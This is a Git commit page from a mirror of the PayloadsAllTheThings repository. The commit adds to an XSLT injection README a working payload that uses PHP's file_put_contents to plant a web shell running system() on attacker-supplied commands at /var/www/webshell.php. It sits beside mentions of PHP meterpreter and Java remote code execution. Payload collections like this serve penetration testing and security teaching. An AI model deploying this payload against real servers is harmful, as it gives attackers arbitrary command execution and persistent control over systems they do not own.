ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-18 10:26:09 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Update README.md (XSLT Injection)

Browse Source 
Added Execute a remote php file using `file_put_contents`
This commit is contained in:
idealphase 2023-10-28 19:47:25 +07:00 committed by GitHub
parent 3ad350b753
commit 85310ba8e5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 11 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
XSLT Injection/README.md
View File

@ -161,6 +161,16 @@ Execute a PHP meterpreter using PHP wrapper.
</xsl:stylesheet>
```
Execute a remote php file using `file_put_contents`
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
</xsl:template>
</xsl:stylesheet>
```
### Remote Code Execution with Java
```xml